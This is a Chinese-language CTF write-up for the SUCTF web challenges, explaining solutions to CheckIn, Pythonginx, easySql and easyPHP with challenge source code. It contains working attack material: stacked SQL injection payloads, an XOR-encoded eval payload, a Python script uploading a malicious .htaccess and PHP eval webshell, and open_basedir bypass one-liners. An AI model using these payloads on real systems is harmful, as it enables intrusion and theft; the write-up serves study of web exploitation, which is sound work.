SUCTF Web部分

前言

前几天打的一个比赛,有些自闭,趁着有时间(X-NCUA做不出来2333)来复现一下。

CheckIn

后缀过滤了.php/.phtml等等,但是.php./.user.ini可以上传;内容过滤了<?,另外有exif_imagetype()监测是否为图片。

解题思路:这里直接给出P牛的文章,利用.user.ini设置自动包含我们事先上传好的图片马,访问上传目录上的index.php执行命令即可读取flag。

注意:这个方法有一个前提,正如P牛文章里说的,需要上传目录存在一个php文件(即本题上传目录中的index.php)才能包含上传的图片马。

Pythonginx

这道题考的Unicode编码问题,参考Black Hat 2019的PPT:Black Hat 2019

再根据提示尝试访问nginx的配置文件:

/usr/fffffflag获取flag:

easySql

人工Fuzz了一下,发现可以堆叠注入,爆了一波库名和表名:ctf –> Flag

但是过滤了flag和from,没有办法直接查出flag。

看wp说有源码泄露,2333

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
session_start();

include_once "config.php";

$post = array();
$get = array();
global $MysqlLink;

//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}

foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));

}

?>

发现查询语句:

1
$sql = "select ".$post['query']."||flag from Flag";

于是这里出现了一个非预期:query=*,1

因为 1||flag == 1,然后可以查询Flag表里所有内容。

预期解是利用 set sql_mode='pipes_as_concat',改变||让它具有拼接字符串的功能,本地测试如下:

于是构造payload:1;set sql_mode=pipes_as_concat;select 1

因为有长度限制所以payload尽量精简。

easyPHP

这题一共有三层,前前后后看了不少文章,学到了挺多知识。

  • 异或构造不包含字母数字的web shell
  • .htaccess文件上传
  • bypass open_basedir

首先看题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}


$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}

if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

代码可以分成两部分,我们先看第一部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$hhh = @$_GET['_'];

if (!$hhh){
highlight_file(__FILE__);
}
// 限制长度
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
// 好狠一正则
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
//统计字节值出现次数,少于12
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

为了执行get_the_flag()函数,我们需要绕过过滤执行eval(),观察发现正则没有过滤^,考虑抑或出_GET来执行命令。

这里我们可以先Fuzz一下构成我们需要的_GET的字符有哪些,贴一个@tr1ple师傅的脚本(tql):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -- coding: utf-8 --
import string

ee= string.printable # 可打印字符集合
a= map(lambda x:x.encode("hex"),list(ee)) # map(func)函数对传入列表的每个元素执行func操作;lambda表达式以 ":"区分参数和语句
_=[]
G=[]
E=[]
T=[]
print list(ee)
# 遍历能够抑或出_GET的不可见字符
for i in range(256):
for j in range(256):
if (chr(i) not in list(ee)) & (chr(j) not in list(ee)):
tem = i^j
if chr(tem)=="_":
temp=[]
temp.append(str(hex(i)[2:])+"^"+str(hex(j))[2:])
_.append(temp)
if chr(tem)=="G":
temp=[]
temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])
G.append(temp)
if chr(tem)=="E":
temp=[]
temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])
E.append(temp)
if chr(tem)=="T":
temp=[]
temp.append(str(hex(i)[2:]) + "^" + str(hex(j))[2:])
T.append(temp)
print _
print G
print E
print T

发现能够构成_GET的有很多:

随便取一个构成payload:

1
?_=${%81%81%81%81^%de%c6%c4%d5}{%81}();&%81=phpinfo

至于payload的构成原理可以参考这几个师傅写的文章,挺有意思的,之后也会写一篇文章仔细分析:

PHP不使用数字,字母和下划线写shell

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

一些不包含数字和字母的webshell

然后再看第二部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}

需要我们上传一个文件,过滤了ph和<?,和CheckIn有些相似,不过这里是apache+php,我们可以上传.htaccess文件绕过过滤,另外注意需要伪造文件头。

这里直接贴脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -- coding: utf-8 --
import requests
import base64

url = "http://7026ab1a-8dc8-45a4-b735-d8125d6b04b9.node1.buuoj.cn/?_=${%81%81%81%81^%de%c6%c4%d5}{%81}();&%81=get_the_flag"

# 绕过文件头检测:\x00\x00\x8a\x39\x8a\x39
htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
# shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"

files = [('file', ('.htaccess', htaccess, 'image/jpeg'))]

data = {"upload": "Submit"}

# proxies = {"http": "http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)


files = [('file', ('shell.cc', shell, 'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

拿到shell之后,发现有open_basedir限制,只能读/var/www/html//tmp/

这里我们可以用之前twitter上新出的 open_basedir Bypass来绕过:

1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1
chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));

具体分析:bypass open_basedir的新方法

Upload2

0%